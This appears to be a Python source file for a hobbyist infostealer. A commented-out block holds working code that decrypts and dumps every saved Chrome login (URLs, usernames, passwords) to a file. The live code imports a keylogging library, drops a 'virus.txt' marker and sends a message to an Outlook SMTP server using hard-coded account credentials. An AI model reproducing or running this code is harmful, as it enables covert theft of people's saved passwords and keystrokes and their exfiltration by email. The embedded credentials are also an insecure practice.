# import os
# import json, base64, sqlite3, shutil, sys
# from Crypto.Cipher import AES
# from datetime import datetime, timedelta
# from win32 import win32crypt

# def get_chrome_datetime(chromedate):
#     # def get_chrome_datetime(chromedate):
#     # """Return a `datetime.datetime` object from a chrome format datetime
#     # Since `chromedate` is formatted as the number of microseconds since
#     # January, 1601"""
#     return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)

# def get_encryption_key():
#     local_state_path = os.path.join(os.environ["USERPROFILE"],"AppData", "Local", "Google", "Chrome", "User Data", "Local State")
#     with open(local_state_path, "r", encoding="utf-8") as f:
#         local_state = f.read()
#         local_state = json.loads(local_state)
#     # decode the encryption key from Base64
#     key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
#     # remove DPAPI str
#     key = key[5:]
#     # return decrypted key that was originally encrypted
#     # using a session key derived from current user's logon credentials
#     # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
#     return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

# def decrypt_password(password, key):
#     try:
#         # get the initialization vector
#         iv = password[3:15]
#         password = password[15:]
#         # generate cipher
#         cipher = AES.new(key, AES.MODE_GCM, iv)
#         # decrypt password
#         return cipher.decrypt(password)[:-16].decode()
#     except:
#         try:
#             return str(win32crypt.CryptUnprotectData(password, None, None,None, 0)[1])
#         except:
#             # not supported
#             return ""

# def main(output_file):
#     # get the AES key
#     key = get_encryption_key()
#     # local sqlite Chrome database path
#     db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data")
#     # copy the file to another location
#     # as the database will be locked if chrome is currently running
#     filename = "ChromeData.db"
#     shutil.copyfile(db_path, filename)
#     # connect to the database
#     db = sqlite3.connect(filename)
#     cursor = db.cursor()
#     # `logins` table has the data we need
#     cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
#     # iterate over all rows
#     f = open(output_file, 'w', encoding="utf-8")
#     for row in cursor.fetchall():
#         origin_url = row[0]
#         action_url = row[1]
#         username = row[2]
#         password = decrypt_password(row[3], key)
#         date_created = row[4]
#         date_last_used = row[5]
#         if username or password:
#             print(f"Origin URL: {origin_url}", file=f)
#             print(f"Action URL: {action_url}", file=f)
#             print(f"Username: {username}", file=f)
#             print(f"Password: {password}", file=f)
#         else:
#             continue
#         if date_created != 86400000000 and date_created:
#             print(f"Creation date: {str(get_chrome_datetime(date_created))}",file=f)
#         if date_last_used != 86400000000 and date_last_used:
#             print(f"Last Used: {str(get_chrome_datetime(date_last_used))}",file=f)
#             print("="*50, file=f)
#     cursor.close()
#     db.close()
#     try:
#         # try to remove the copied db file
#         os.remove(filename)
#     except:
#         pass
    
# if __name__ == "__main__":
#     output_file = sys.argv[1]
#     main(output_file)


import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

#import subprocess, sys
# process = subprocess.check_call([sys.executable, '-m', 'pip', 'install','keyboard'])
# print(process)

with open("./virus.txt", "w", encoding="utf-8") as buffer:
    buffer.write(f"I was here at {datetime.now()} ;>")

test = datetime.now()

message = "ok ca marche " + str(test)

###send email
EMAIL_ADDRESS = "lovingpython@outlook.com"
EMAIL_PASSWORD = "123456789AZERTYUIOP"

def prepare_mail(message):
    msg = MIMEMultipart("alternative")
    msg["From"] = EMAIL_ADDRESS
    msg["To"] = EMAIL_ADDRESS
    msg["Subject"] = "logs"
    html = f"<p>{message}</p>"
    text_part = MIMEText(message, "plain")
    html_part = MIMEText(html, "html")
    msg.attach(text_part)
    msg.attach(html_part)
    return msg.as_string()

server = smtplib.SMTP(host="smtp.office365.com", port=587)
server.starttls()
server.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
server.sendmail(EMAIL_ADDRESS, EMAIL_ADDRESS, prepare_mail(message))
server.quit()
